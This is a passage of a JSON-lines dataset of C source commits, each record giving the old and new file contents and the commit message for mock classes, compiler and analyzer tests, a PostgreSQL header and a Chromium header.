factory\n","lang":"C","license":"lgpl-2.1","repos":"surround-io\/gstreamer,krieger-od\/gstreamer,centricular\/gstreamer,ylatuya\/gstreamer,cablelabs\/gstreamer,magcius\/gstreamer,krieger-od\/gstreamer,Lachann\/gstreamer,collects\/gstreamer,ahmedammar\/platform_external_gst_gstreamer,surround-io\/gstreamer,jpakkane\/gstreamer,Lachann\/gstreamer,collects\/gstreamer,Distrotech\/gstreamer,krichter722\/gstreamer,StreamUtils\/gstreamer,Distrotech\/gstreamer,mparis\/gstreamer,lovebug356\/gstreamer,Distrotech\/gstreamer,jpxiong\/gstreamer,justinjoy\/gstreamer,mparis\/gstreamer,ahmedammar\/platform_external_gst_gstreamer,lubosz\/gstreamer,shelsonjava\/gstreamer,krichter722\/gstreamer,jpakkane\/gstreamer,ylatuya\/gstreamer,StreamUtils\/gstreamer,ensonic\/gstreamer,cfoch\/gstreamer,mparis\/gstreamer,jpxiong\/gstreamer,drothlis\/gstreamer,drothlis\/gstreamer,surround-io\/gstreamer,lubosz\/gstreamer,ensonic\/gstreamer,collects\/gstreamer,cablelabs\/gstreamer,Lachann\/gstreamer,collects\/gstreamer,jpakkane\/gstreamer,ahmedammar\/platform_external_gst_gstreamer,krieger-od\/gstreamer,surround-io\/gstreamer,lovebug356\/gstreamer,mrchapp\/gstreamer,justinjoy\/gstreamer,jpxiong\/gstreamer,magcius\/gstreamer,justinjoy\/gstreamer,justinjoy\/gstreamer,magcius\/gstreamer,magcius\/gstreamer,krichter722\/gstreamer,lubosz\/gstreamer,Lachann\/gstreamer,StreamUtils\/gstreamer,collects\/gstreamer,ensonic\/gstreamer,mrchapp\/gstreamer,cfoch\/gstreamer,lovebug356\/gstreamer,drothlis\/gstreamer,ylatuya\/gstreamer,shelsonjava\/gstreamer,ylatuya\/gstreamer,lovebug356\/gstreamer,cablelabs\/gstreamer,mparis\/gstreamer,Distrotech\/gstreamer,ahmedammar\/platform_external_gst_gstreamer,shelsonjava\/gstreamer,StreamUtils\/gstreamer,ylatuya\/gstreamer,jpxiong\/gstreamer,ensonic\/gstreamer,shelsonjava\/gstreamer,krieger-od\/gstreamer,krieger-od\/gstreamer,mparis\/gstreamer,cfoch\/gstreamer,centricular\/gstreamer,ahmedammar\/platform_external_gst_gstreamer,krichter722\/gstreamer,cablelabs\/gstreamer,justinjoy\/gstreamer,StreamUtils\/gstreamer,mrchapp\/gstreamer,shelsonjava\/gstreamer,centricular\/gstreamer,ensonic\/gstreamer,mrchapp\/gstreamer,centricular\/gstreamer,centricular\/gstreamer,Distrotech\/gstreamer,jpakkane\/gstreamer,lovebug356\/gstreamer,cfoch\/gstreamer,cfoch\/gstreamer,jpakkane\/gstreamer,lubosz\/gstreamer,mrchapp\/gstreamer,jpxiong\/gstreamer,surround-io\/gstreamer,drothlis\/gstreamer,Lachann\/gstreamer,krichter722\/gstreamer,cablelabs\/gstreamer,lubosz\/gstreamer,drothlis\/gstreamer,magcius\/gstreamer"}
{"commit":"63bd713f7609ffb72b8592b772ef525224e6ffdf","old_file":"test\/mocks\/Servo.h","new_file":"test\/mocks\/Servo.h","old_contents":"\/**\n * Servo \"mock\" class. Ideally our ServoMotor class would be using composition\n * to become an (Arduino) Servo motor. However, we want to make usage easier and\n * transparent to the user, so we are extending the Arduino Servo class.\n * The inheritance instead of composition makes things a little bit trickier\n * to mock and that is why we need a stub implementation of `Servo` that can get\n * injected with the mock which in turn we can set our expectations upon.\n *\/\n#pragma once\n\n#include <memory>\n#include <stdexcept>\n#include <stdint.h>\n\n#include \"gmock\/gmock.h\"\n\nclass MockServo\n{\npublic:\n    MOCK_METHOD3(attach, void(uint8_t pin, int maxPulseLength, int minPulseLength));\n    MOCK_METHOD1(writeMicroseconds, void(int microseconds));\n};\n\nclass Servo\n{\npublic:\n    void attach(uint8_t pin, int maxPulseLength, int minPulseLength)\n    {\n        if (!mMockServo)\n        {\n            throw std::logic_error(\"No mockServo attached! Please set the mMockServo with a MockServo shared pointer.\");\n        }\n        mMockServo->attach(pin, maxPulseLength, minPulseLength);\n    }\n\n    void writeMicroseconds(int microseconds)\n    {\n        if (!mMockServo)\n        {\n            throw std::logic_error(\"No mockServo attached! Please set the mMockServo with a MockServo shared pointer.\");\n        }\n        mMockServo->writeMicroseconds(microseconds);\n    }\n\n    std::shared_ptr<MockServo> mMockServo;\n};\n","new_contents":"\/**\n * Servo \"mock\" class. Ideally our ServoMotor class would be using composition\n * to become an (Arduino) Servo motor. However, we want to make usage easier and\n * transparent to the user, so we are extending the Arduino Servo class.\n * The inheritance instead of composition makes things a little bit trickier\n * to mock and that is why we need a stub implementation of `Servo` that can get\n * injected with the mock which in turn we can set our expectations upon.\n *\/\n#pragma once\n\n#include <memory>\n#include <stdexcept>\n#include <stdint.h>\n\n#include \"gmock\/gmock.h\"\n\nclass MockServo\n{\npublic:\n    MOCK_METHOD3(attach, void(uint8_t pin, int maxPulseLength, int minPulseLength));\n    MOCK_METHOD1(writeMicroseconds, void(int microseconds));\n};\n\nclass Servo\n{\npublic:\n    void attach(uint8_t pin, int maxPulseLength, int minPulseLength)\n    {\n        mMockServo->attach(pin, maxPulseLength, minPulseLength);\n    }\n\n    void writeMicroseconds(int microseconds)\n    {\n        mMockServo->writeMicroseconds(microseconds);\n    }\n\n    std::shared_ptr<MockServo> mMockServo;\n};\n","subject":"Remove unecessary checks from mock class","message":"Remove unecessary checks from mock class\n","lang":"C","license":"mit","repos":"platisd\/smartcar_shield,platisd\/smartcar_shield"}
{"commit":"22190c6a5152fba9cec3807d96762a8da9a31130","old_file":"test\/minc.c","new_file":"test\/minc.c","old_contents":"\/* \n   Minimal C SDL example. This code is in the public domain.\n   Compile with: \n   gcc `sdl2-config --cflags` `sdl2-config --libs` minc.c \n*\/\n\n#include <unistd.h>\n#include <assert.h>\n#include <stdio.h>\n#include \"SDL.h\"\n\nint main(int argc, char** argv)  \n{\n  assert (SDL_Init(SDL_INIT_VIDEO) == 0);\n\n  SDL_Window *w = \n    SDL_CreateWindow (\"SDL OpenGL (C)\", \n                      SDL_WINDOWPOS_UNDEFINED, SDL_WINDOWPOS_UNDEFINED, \n                      640, 480,\n                      SDL_WINDOW_OPENGL);\n  assert (w);\n  \n  SDL_Delay (3000);\n  \n  SDL_DestroyWindow (w); \n  SDL_Quit (); \n  return 0;   \n}\n","new_contents":"\/* \n   Minimal C SDL example. This code is in the public domain.\n   Compile with: \n   gcc -o minc minc.c `sdl2-config --cflags --libs`\n*\/\n\n#include <unistd.h>\n#include <assert.h>\n#include <stdio.h>\n#include \"SDL.h\"\n\nint main(int argc, char** argv)  \n{\n  assert (SDL_Init(SDL_INIT_VIDEO) == 0);\n\n  SDL_Window *w = \n    SDL_CreateWindow (\"SDL OpenGL (C)\", \n                      SDL_WINDOWPOS_UNDEFINED, SDL_WINDOWPOS_UNDEFINED, \n                      640, 480,\n                      SDL_WINDOW_OPENGL);\n  assert (w);\n  \n  SDL_Delay (3000);\n  \n  SDL_DestroyWindow (w); \n  SDL_Quit (); \n  return 0;   \n}\n","subject":"Update compilation instructions for minimal C example.","message":"Update compilation instructions for minimal C example.\n","lang":"C","license":"isc","repos":"dbuenzli\/tsdl"}
{"commit":"2810cf21b632e97ea1aa0d54b2cd4a64f9a83eef","old_file":"ir\/be\/test\/Bucmp.c","new_file":"ir\/be\/test\/Bucmp.c","old_contents":"","new_contents":"char glob = -1;\n\nint main(void) {\n\tchar x = 126;\n\twhile (x > 0) {\n\t\tx++;\n\t\tprintf(\"%d\\n\", x);\n\t\tif (x == -125) break;\n\t}\n\treturn 0;\n}\n","subject":"Test case to use the correct Cmp mode","message":"Test case to use the correct Cmp mode\n\n[r21315]\n","lang":"C","license":"lgpl-2.1","repos":"killbug2004\/libfirm,davidgiven\/libfirm,8l\/libfirm,MatzeB\/libfirm,killbug2004\/libfirm,MatzeB\/libfirm,killbug2004\/libfirm,davidgiven\/libfirm,jonashaag\/libfirm,8l\/libfirm,MatzeB\/libfirm,libfirm\/libfirm,davidgiven\/libfirm,8l\/libfirm,jonashaag\/libfirm,8l\/libfirm,libfirm\/libfirm,davidgiven\/libfirm,davidgiven\/libfirm,davidgiven\/libfirm,killbug2004\/libfirm,davidgiven\/libfirm,killbug2004\/libfirm,jonashaag\/libfirm,8l\/libfirm,libfirm\/libfirm,8l\/libfirm,killbug2004\/libfirm,MatzeB\/libfirm,8l\/libfirm,MatzeB\/libfirm,jonashaag\/libfirm,jonashaag\/libfirm,MatzeB\/libfirm,MatzeB\/libfirm,libfirm\/libfirm,killbug2004\/libfirm,jonashaag\/libfirm,jonashaag\/libfirm,libfirm\/libfirm"}
{"commit":"1560265b11bb4b4d20d5f566330060f5f8504b04","old_file":"test\/function.c","new_file":"test\/function.c","old_contents":"int puts(const char *);\n\nint noop(void);\n\nint foo(char *list[5]) {\n\tputs(list[0]);\n\tputs(list[1]);\n\treturn sizeof(list);\n}\n\nint prints(int n, ...) {\n\treturn n;\n}\n\nchar s1[] = \"Hello\";\nchar *s2 = \"World\";\n\nint main() {\n\tint size = 0;\n\tchar *words[2];\n\twords[0] = s1;\n\twords[1] = s2;\n\n\tsize = foo(words);\n\tsize = size + sizeof(words);\n\tsize = size + prints(2, \"hei\", \"hoi\");\n\n\treturn size;\n}\n","new_contents":"int puts(const char *);\n\nint noop(void);\n\nint foo(char *list[5]) {\n\tputs(list[0]);\n\tputs(list[1]);\n\treturn sizeof(list[6]);\n}\n\nint prints(int n, ...) {\n\treturn n;\n}\n\nchar s1[] = \"Hello\";\nchar *s2 = \"World\";\n\nint main() {\n\tint size = 0;\n\tchar *words[2];\n\twords[0] = s1;\n\twords[1] = s2;\n\n\tsize = foo(words);\n\tsize = size + sizeof(words);\n\tsize = size + prints(2, \"hei\", \"hoi\");\n\n\treturn size;\n}\n","subject":"Change test to get rid of gcc warning","message":"Change test to get rid of gcc warning\n","lang":"C","license":"mit","repos":"larmel\/lacc,larmel\/c-compiler,larmel\/c-compiler,larmel\/lacc,larmel\/c-compiler"}
{"commit":"ab6d6229cd7659ee49974d0116fe8bca06d7d128","old_file":"test\/Analysis\/rdar-6541136-region.c","new_file":"test\/Analysis\/rdar-6541136-region.c","old_contents":"\/\/ RUN: clang-cc -verify -analyze -checker-cfref -analyzer-store=region %s\n\nstruct tea_cheese { unsigned magic; };\ntypedef struct tea_cheese kernel_tea_cheese_t;\nextern kernel_tea_cheese_t _wonky_gesticulate_cheese;\n\n\/\/ This test case exercises the ElementRegion::getRValueType() logic.\n\n\nvoid foo( void )\n{\n  kernel_tea_cheese_t *wonky = &_wonky_gesticulate_cheese;\n  struct load_wine *cmd = (void*) &wonky[1];\n  cmd = cmd;\n  char *p = (void*) &wonky[1];\n  \/\/*p = 1;  \/\/ this is also an out-of-bound access.\n  kernel_tea_cheese_t *q = &wonky[1];\n  \/\/ This test case tests both the RegionStore logic (doesn't crash) and\n  \/\/ the out-of-bounds checking.  We don't expect the warning for now since\n  \/\/ out-of-bound checking is temporarily disabled.\n  kernel_tea_cheese_t r = *q; \/\/ expected-warning{{Access out-of-bound array element (buffer overflow)}}\n}\n","new_contents":"\/\/ RUN: clang-cc -verify -analyze -checker-cfref -analyzer-store=region %s\n\nstruct tea_cheese { unsigned magic; };\ntypedef struct tea_cheese kernel_tea_cheese_t;\nextern kernel_tea_cheese_t _wonky_gesticulate_cheese;\n\n\/\/ This test case exercises the ElementRegion::getRValueType() logic.\n\nvoid test1( void ) {\n  kernel_tea_cheese_t *wonky = &_wonky_gesticulate_cheese;\n  struct load_wine *cmd = (void*) &wonky[1];\n  cmd = cmd;\n  char *p = (void*) &wonky[1];\n  kernel_tea_cheese_t *q = &wonky[1];\n  \/\/ This test case tests both the RegionStore logic (doesn't crash) and\n  \/\/ the out-of-bounds checking.  We don't expect the warning for now since\n  \/\/ out-of-bound checking is temporarily disabled.\n  kernel_tea_cheese_t r = *q; \/\/ expected-warning{{Access out-of-bound array element (buffer overflow)}}\n}\n\nvoid test1_b( void ) {\n  kernel_tea_cheese_t *wonky = &_wonky_gesticulate_cheese;\n  struct load_wine *cmd = (void*) &wonky[1];\n  cmd = cmd;\n  char *p = (void*) &wonky[1];\n  *p = 1;  \/\/ expected-warning{{Access out-of-bound array element (buffer overflow)}}\n}\n","subject":"Split buffer overflow test case into two test cases, removing out logic that was commented out.","message":"Split buffer overflow test case into two test cases, removing out logic that was commented out.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@86845 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"889c1530c9b25a784447cd57659aecd3e5434942","old_file":"src\/include\/executor\/execdefs.h","new_file":"src\/include\/executor\/execdefs.h","old_contents":"\/*-------------------------------------------------------------------------\n *\n * execdefs.h\n *\n *\n *\n * Copyright (c) 1994, Regents of the University of California\n *\n * $Id: execdefs.h,v 1.4 1999\/02\/13 23:21:22 momjian Exp $\n *\n *-------------------------------------------------------------------------\n *\/\n#ifndef EXECDEFS_H\n#define EXECDEFS_H\n\n\/* ----------------\n *\t\tExecutePlan() tuplecount definitions\n * ----------------\n *\/\n#define ALL_TUPLES\t\t\t\t0\t\t\/* return all tuples *\/\n#define ONE_TUPLE\t\t\t\t1\t\t\/* return only one tuple *\/\n\n\/* ----------------\n *\t\tconstants used by ExecMain\n * ----------------\n *\/\n#define EXEC_RUN\t\t\t\t\t\t3\n#define EXEC_FOR\t\t\t\t\t\t4\n#define EXEC_BACK\t\t\t\t\t\t5\n#define EXEC_RETONE\t\t\t\t\t\t6\n#define EXEC_RESULT\t\t\t\t\t\t7\n\n\/* ----------------\n *\t\tMerge Join states\n * ----------------\n *\/\n#define EXEC_MJ_INITIALIZE\t\t\t\t1\n#define EXEC_MJ_JOINMARK\t\t\t\t2\n#define EXEC_MJ_JOINTEST\t\t\t\t3\n#define EXEC_MJ_JOINTUPLES\t\t\t\t4\n#define EXEC_MJ_NEXTOUTER\t\t\t\t5\n#define EXEC_MJ_TESTOUTER\t\t\t\t6\n#define EXEC_MJ_NEXTINNER\t\t\t\t7\n#define EXEC_MJ_SKIPINNER\t\t\t\t8\n#define EXEC_MJ_SKIPOUTER\t\t\t\t9\n\n#endif\t \/* EXECDEFS_H *\/\n","new_contents":"\/*-------------------------------------------------------------------------\n *\n * execdefs.h\n *\n *\n *\n * Copyright (c) 1994, Regents of the University of California\n *\n * $Id: execdefs.h,v 1.5 1999\/02\/23 07:37:31 thomas Exp $\n *\n *-------------------------------------------------------------------------\n *\/\n#ifndef EXECDEFS_H\n#define EXECDEFS_H\n\n\/* ----------------\n *\t\tExecutePlan() tuplecount definitions\n * ----------------\n *\/\n#define ALL_TUPLES\t\t\t\t0\t\t\/* return all tuples *\/\n#define ONE_TUPLE\t\t\t\t1\t\t\/* return only one tuple *\/\n\n\/* ----------------\n *\t\tconstants used by ExecMain\n * ----------------\n *\/\n#define EXEC_RUN\t\t\t\t\t\t3\n#define EXEC_FOR\t\t\t\t\t\t4\n#define EXEC_BACK\t\t\t\t\t\t5\n#define EXEC_RETONE\t\t\t\t\t\t6\n#define EXEC_RESULT\t\t\t\t\t\t7\n\n\/* ----------------\n *\t\tMerge Join states\n * ----------------\n *\/\n#define EXEC_MJ_INITIALIZE\t\t\t\t1\n#define EXEC_MJ_JOINMARK\t\t\t\t2\n#define EXEC_MJ_JOINTEST\t\t\t\t3\n#define EXEC_MJ_JOINTUPLES\t\t\t\t4\n#define EXEC_MJ_NEXTOUTER\t\t\t\t5\n#define EXEC_MJ_TESTOUTER\t\t\t\t6\n#define EXEC_MJ_NEXTINNER\t\t\t\t7\n#define EXEC_MJ_SKIPINNER\t\t\t\t8\n#define EXEC_MJ_SKIPOUTER\t\t\t\t9\n#define EXEC_MJ_FILLINNER\t\t\t   10\n#define EXEC_MJ_FILLOUTER\t\t\t   11\n\n#endif\t \/* EXECDEFS_H *\/\n","subject":"Add constants for outer join states in executor.","message":"Add constants for outer join states in executor.\n","lang":"C","license":"apache-2.0","repos":"Quikling\/gpdb,greenplum-db\/gpdb,pavanvd\/postgres-xl,kmjungersen\/PostgresXL,royc1\/gpdb,Postgres-XL\/Postgres-XL,adam8157\/gpdb,ovr\/postgres-xl,chrishajas\/gpdb,rubikloud\/gpdb,Chibin\/gpdb,Quikling\/gpdb,rvs\/gpdb,oberstet\/postgres-xl,tpostgres-projects\/tPostgres,lintzc\/gpdb,Chibin\/gpdb,lisakowen\/gpdb,ahachete\/gpdb,0x0FFF\/gpdb,lisakowen\/gpdb,snaga\/postgres-xl,rvs\/gpdb,lisakowen\/gpdb,Chibin\/gpdb,cjcjameson\/gpdb,lisakowen\/gpdb,ashwinstar\/gpdb,zaksoup\/gpdb,50wu\/gpdb,lpetrov-pivotal\/gpdb,yuanzhao\/gpdb,ashwinstar\/gpdb,ahachete\/gpdb,cjcjameson\/gpdb,cjcjameson\/gpdb,cjcjameson\/gpdb,lpetrov-pivotal\/gpdb,Chibin\/gpdb,kaknikhil\/gpdb,atris\/gpdb,techdragon\/Postgres-XL,yazun\/postgres-xl,lpetrov-pivotal\/gpdb,Postgres-XL\/Postgres-XL,lintzc\/gpdb,kaknikhil\/gpdb,xuegang\/gpdb,royc1\/gpdb,royc1\/gpdb,xuegang\/gpdb,Postgres-XL\/Postgres-XL,adam8157\/gpdb,zaksoup\/gpdb,arcivanov\/postgres-xl,kaknikhil\/gpdb,zaksoup\/gpdb,tangp3\/gpdb,yazun\/postgres-xl,50wu\/gpdb,xuegang\/gpdb,chrishajas\/gpdb,ashwinstar\/gpdb,chrishajas\/gpdb,xinzweb\/gpdb,arcivanov\/postgres-xl,ashwinstar\/gpdb,ovr\/postgres-xl,foyzur\/gpdb,ahachete\/gpdb,foyzur\/gpdb,kaknikhil\/gpdb,pavanvd\/postgres-xl,xinzweb\/gpdb,rvs\/gpdb,chrishajas\/gpdb,zaksoup\/gpdb,lisakowen\/gpdb,rvs\/gpdb,kaknikhil\/gpdb,arcivanov\/postgres-xl,arcivanov\/postgres-xl,tangp3\/gpdb,greenplum-db\/gpdb,oberstet\/postgres-xl,zaksoup\/gpdb,greenplum-db\/gpdb,xinzweb\/gpdb,0x0FFF\/gpdb,snaga\/postgres-xl,jmcatamney\/gpdb,rvs\/gpdb,jmcatamney\/gpdb,postmind-net\/postgres-xl,zeroae\/postgres-xl,techdragon\/Postgres-XL,cjcjameson\/gpdb,kaknikhil\/gpdb,foyzur\/gpdb,edespino\/gpdb,janebeckman\/gpdb,rubikloud\/gpdb,royc1\/gpdb,randomtask1155\/gpdb,CraigHarris\/gpdb,edespino\/gpdb,cjcjameson\/gpdb,tpostgres-projects\/tPostgres,jmcatamney\/gpdb,lisakowen\/gpdb,CraigHarris\/gpdb,techdragon\/Postgres-XL,zeroae\/postgres-xl,kaknikhil\/gpdb,xuegang\/gpdb,zaksoup\/gpdb,lpetrov-pivotal\/gpdb,Chibin\/gpdb,janebeckman\/gpdb,kmjungersen\/PostgresXL,xinzweb\/gpdb,xuegang\/gpdb,lintzc\/gpdb,kaknikhil\/gpdb,Quikling\/gpdb,rubikloud\/gpdb,yuanzhao\/gpdb,ashwinstar\/gpdb,royc1\/gpdb,CraigHarris\/gpdb,foyzur\/gpdb,ahachete\/gpdb,foyzur\/gpdb,Quikling\/gpdb,yazun\/postgres-xl,postmind-net\/postgres-xl,royc1\/gpdb,adam8157\/gpdb,yuanzhao\/gpdb,lintzc\/gpdb,kmjungersen\/PostgresXL,ovr\/postgres-xl,atris\/gpdb,foyzur\/gpdb,tangp3\/gpdb,50wu\/gpdb,randomtask1155\/gpdb,jmcatamney\/gpdb,snaga\/postgres-xl,rvs\/gpdb,oberstet\/postgres-xl,Quikling\/gpdb,royc1\/gpdb,xuegang\/gpdb,cjcjameson\/gpdb,zaksoup\/gpdb,rvs\/gpdb,lpetrov-pivotal\/gpdb,janebeckman\/gpdb,edespino\/gpdb,CraigHarris\/gpdb,tangp3\/gpdb,xinzweb\/gpdb,techdragon\/Postgres-XL,rubikloud\/gpdb,rvs\/gpdb,Quikling\/gpdb,lintzc\/gpdb,yazun\/postgres-xl,lpetrov-pivotal\/gpdb,edespino\/gpdb,Postgres-XL\/Postgres-XL,Postgres-XL\/Postgres-XL,xuegang\/gpdb,jmcatamney\/gpdb,50wu\/gpdb,50wu\/gpdb,CraigHarris\/gpdb,lintzc\/gpdb,zaksoup\/gpdb,randomtask1155\/gpdb,atris\/gpdb,adam8157\/gpdb,royc1\/gpdb,chrishajas\/gpdb,janebeckman\/gpdb,edespino\/gpdb,yuanzhao\/gpdb,xinzweb\/gpdb,50wu\/gpdb,rvs\/gpdb,CraigHarris\/gpdb,greenplum-db\/gpdb,Quikling\/gpdb,lpetrov-pivotal\/gpdb,randomtask1155\/gpdb,adam8157\/gpdb,kmjungersen\/PostgresXL,edespino\/gpdb,zeroae\/postgres-xl,edespino\/gpdb,lisakowen\/gpdb,Quikling\/gpdb,tpostgres-projects\/tPostgres,jmcatamney\/gpdb,tangp3\/gpdb,pavanvd\/postgres-xl,ovr\/postgres-xl,0x0FFF\/gpdb,yuanzhao\/gpdb,yuanzhao\/gpdb,cjcjameson\/gpdb,oberstet\/postgres-xl,ashwinstar\/gpdb,postmind-net\/postgres-xl,lpetrov-pivotal\/gpdb,lisakowen\/gpdb,lintzc\/gpdb,randomtask1155\/gpdb,yuanzhao\/gpdb,50wu\/gpdb,arcivanov\/postgres-xl,xinzweb\/gpdb,yuanzhao\/gpdb,janebeckman\/gpdb,Chibin\/gpdb,Quikling\/gpdb,zeroae\/postgres-xl,atris\/gpdb,rubikloud\/gpdb,Quikling\/gpdb,rubikloud\/gpdb,snaga\/postgres-xl,kmjungersen\/PostgresXL,randomtask1155\/gpdb,janebeckman\/gpdb,50wu\/gpdb,ahachete\/gpdb,yazun\/postgres-xl,techdragon\/Postgres-XL,Chibin\/gpdb,yuanzhao\/gpdb,janebeckman\/gpdb,adam8157\/gpdb,lintzc\/gpdb,chrishajas\/gpdb,lintzc\/gpdb,tangp3\/gpdb,janebeckman\/gpdb,randomtask1155\/gpdb,atris\/gpdb,jmcatamney\/gpdb,janebeckman\/gpdb,ashwinstar\/gpdb,greenplum-db\/gpdb,tangp3\/gpdb,arcivanov\/postgres-xl,pavanvd\/postgres-xl,rubikloud\/gpdb,Chibin\/gpdb,foyzur\/gpdb,0x0FFF\/gpdb,pavanvd\/postgres-xl,randomtask1155\/gpdb,0x0FFF\/gpdb,CraigHarris\/gpdb,edespino\/gpdb,kaknikhil\/gpdb,janebeckman\/gpdb,ashwinstar\/gpdb,edespino\/gpdb,foyzur\/gpdb,0x0FFF\/gpdb,xinzweb\/gpdb,Chibin\/gpdb,oberstet\/postgres-xl,ovr\/postgres-xl,CraigHarris\/gpdb,tpostgres-projects\/tPostgres,ahachete\/gpdb,rvs\/gpdb,adam8157\/gpdb,cjcjameson\/gpdb,kaknikhil\/gpdb,adam8157\/gpdb,cjcjameson\/gpdb,0x0FFF\/gpdb,xuegang\/gpdb,atris\/gpdb,atris\/gpdb,atris\/gpdb,0x0FFF\/gpdb,chrishajas\/gpdb,jmcatamney\/gpdb,ahachete\/gpdb,chrishajas\/gpdb,tpostgres-projects\/tPostgres,ahachete\/gpdb,CraigHarris\/gpdb,rubikloud\/gpdb,xuegang\/gpdb,postmind-net\/postgres-xl,tangp3\/gpdb,greenplum-db\/gpdb,Chibin\/gpdb,greenplum-db\/gpdb,yuanzhao\/gpdb,edespino\/gpdb,snaga\/postgres-xl,greenplum-db\/gpdb,postmind-net\/postgres-xl,zeroae\/postgres-xl"}
{"commit":"b7ba8230802b1db4906f3d3f7489b60458b51ad5","old_file":"examples\/wc_mock.h","new_file":"examples\/wc_mock.h","old_contents":"\/\/ Copyright 2015. All Rights Reserved.\n\/\/ Author: pxtian2008@gmail.com (Xiaotian Pei)\n\n#ifndef EXAMPLES_COREUTILS_WC_MOCK_H_\n#define EXAMPLES_COREUTILS_WC_MOCK_H_\n\n#include \"examples\/coreutils\/wc.h\"\n#include \"third_party\/gmock\/gmock.h\"\n\nnamespace coreutils {\n\nclass MockFile : public File {\n public:\n  MOCK_METHOD2(Open, bool(const char* filename, const char* mode));\n  MOCK_METHOD0(Close, bool());\n  MOCK_METHOD2(Read, int(char* buffer, int buf_size));\n  MOCK_METHOD0(Eof, bool());\n};\n\n}  \/\/ namespace coreutils\n\n#endif  \/\/ EXAMPLES_COREUTILS_WC_MOCK_H_\n\n","new_contents":"\/\/ Copyright 2015. All Rights Reserved.\n\/\/ Author: pxtian2008@gmail.com (Xiaotian Pei)\n\n#ifndef EXAMPLES_COREUTILS_WC_MOCK_H_\n#define EXAMPLES_COREUTILS_WC_MOCK_H_\n\n#include \"examples\/wc.h\"\n#include \"third_party\/gmock\/gmock.h\"\n\nnamespace coreutils {\n\nclass MockFile : public File {\n public:\n  MOCK_METHOD2(Open, bool(const char* filename, const char* mode));\n  MOCK_METHOD0(Close, bool());\n  MOCK_METHOD2(Read, int(char* buffer, int buf_size));\n  MOCK_METHOD0(Eof, bool());\n};\n\n}  \/\/ namespace coreutils\n\n#endif  \/\/ EXAMPLES_COREUTILS_WC_MOCK_H_\n\n","subject":"Fix path in header file","message":"Fix path in header file\n","lang":"C","license":"mit","repos":"skyshaw\/skynet3,skyshaw\/skynet3,skyshaw\/skynet3,skyshaw\/skynet3"}
{"commit":"2fcfd9bc68a3bc3063eb4f2c56e591fe931bb2be","old_file":"chrome\/app\/scoped_ole_initializer.h","new_file":"chrome\/app\/scoped_ole_initializer.h","old_contents":"\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_APP_SCOPED_OLE_INITIALIZER_H_\n#define CHROME_APP_SCOPED_OLE_INITIALIZER_H_\n\n\/\/ Wraps OLE initialization in a cross-platform class meant to be used on the\n\/\/ stack so init\/uninit is done with scoping. This class is ok for use by\n\/\/ non-windows platforms; it just doesn't do anything.\n\n#if defined(OS_WIN)\n\n#include <ole2.h>\n\nclass ScopedOleInitializer {\n public:\n  ScopedOleInitializer() {\n    int ole_result = OleInitialize(NULL);\n    DCHECK(ole_result == S_OK);\n  }\n  ~ScopedOleInitializer() {\n    OleUninitialize();\n  }\n};\n\n#else\n\nclass ScopedOleInitializer {\n public:\n  \/\/ Empty, this class does nothing on non-win32 systems. Empty ctor is\n  \/\/ necessary to avoid \"unused variable\" warning on gcc.\n  ScopedOleInitializer() { }\n};\n\n#endif\n\n#endif  \/\/ CHROME_APP_SCOPED_OLE_INITIALIZER_H_\n","new_contents":"\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_APP_SCOPED_OLE_INITIALIZER_H_\n#define CHROME_APP_SCOPED_OLE_INITIALIZER_H_\n\n#include \"base\/logging.h\"\n#include \"build\/build_config.h\"\n\n\/\/ Wraps OLE initialization in a cross-platform class meant to be used on the\n\/\/ stack so init\/uninit is done with scoping. This class is ok for use by\n\/\/ non-windows platforms; it just doesn't do anything.\n\n#if defined(OS_WIN)\n\n#include <ole2.h>\n\nclass ScopedOleInitializer {\n public:\n  ScopedOleInitializer() {\n    int ole_result = OleInitialize(NULL);\n    DCHECK(ole_result == S_OK);\n  }\n  ~ScopedOleInitializer() {\n    OleUninitialize();\n  }\n};\n\n#else\n\nclass ScopedOleInitializer {\n public:\n  \/\/ Empty, this class does nothing on non-win32 systems. Empty ctor is\n  \/\/ necessary to avoid \"unused variable\" warning on gcc.\n  ScopedOleInitializer() { }\n};\n\n#endif\n\n#endif  \/\/ CHROME_APP_SCOPED_OLE_INITIALIZER_H_\n","subject":"Make ScopedOleInitializer work on windows if you aren't including build_config already.","message":"Make ScopedOleInitializer work on windows if you aren't including\nbuild_config already.\n\nBUG=none\nTEST=none\n\nReview URL: http:\/\/codereview.chromium.org\/19640\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@8835 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"Crystalnix\/house-of-life-chromium,gavinp\/chromium,gavinp\/chromium,gavinp\/chromium,gavinp\/chromium,adobe\/chromium,yitian134\/chromium,ropik\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,adobe\/chromium,ropik\/chromium,ropik\/chromium,yitian134\/chromium,ropik\/chromium,ropik\/chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,adobe\/chromium,ropik\/chromium,yitian134\/chromium,gavinp\/chromium,yitian134\/chromium,yitian134\/chromium,yitian134\/chromium,yitian134\/chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,ropik\/chromium,adobe\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,yitian134\/chromium,gavinp\/chromium,adobe\/chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,gavinp\/chromium,ropik\/chromium,adobe\/chromium"}
